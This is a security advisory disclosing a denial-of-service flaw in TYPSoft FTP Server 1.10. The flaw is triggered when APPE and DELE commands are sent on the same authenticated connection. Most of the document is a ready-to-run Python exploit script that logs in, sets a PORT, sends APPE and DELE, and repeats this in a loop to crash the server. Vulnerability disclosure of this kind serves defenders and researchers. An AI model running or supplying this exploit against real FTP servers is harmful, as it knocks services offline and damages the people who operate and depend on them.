TYPSoft FTP Server 1.10 - APPE DELE Denial of Service

Bugtraq: http://seclists.org/bugtraq/2009/Nov/163

Date of Discovery: 24-Nov-2009

Credits:leinakesi[at]gmail.com

Vendor: TYPSoft

Affected:
TYPSoft FTP Server Version 1.10
Earlier versions may also be affected

Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service vulnerability exists in TYPSoft FTP Server 
when 

"APPE" and "DELE" commands are used in the same socket connection.

Details:
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to 

Denial of Service attack:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys
import time

def Usage():
    print ("Usage:  ./expl.py   <local_ip>  <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 127.0.0.1 127.0.0.1 anonymous anonymous\n")
    print ("Example:./expl.py 192.168.48.183 192.168.48.111 anonymous anonymous\n")
if len(sys.argv) <> 5:
        Usage()
        sys.exit(1)
else:
    local=sys.argv[1]
    hostname=sys.argv[2]
    username=sys.argv[3]
    passwd=sys.argv[4]
    test_string="a"*30
    ip_every=local.split('.')
    for i in range(1,10000):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((hostname, 21))
        except:
            print ("Connection error!")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("user %s\r\n" %username)
        print "[-] "+ ("user %s\r\n" %username)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("pass %s\r\n" %passwd)
        print "[-] "+ ("pass %s\r\n" %passwd)
        r=sock.recv(1024)
        print "[+] "+ r
    
        sock_data.bind((local,31339))
        sock_data.listen(1)
        
        sock.send("PORT " + ip_every[0] +","+ ip_every[1] +","+ ip_every[2] +"," + ip_every[3] + ",122,107\r\n")
        print "[-] "+ ("PORT " + local + "122,107\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
            
        sock.send("APPE "+ test_string +"\r\n")
        print "[-] "+ ("APPE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
        
        sock.send("DELE "+ test_string +"\r\n")
        print "[-] "+ ("DELE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r    
         
        sock.close()
        sock_data.close()
        time.sleep(2)
                

 

    
    sys.exit(0);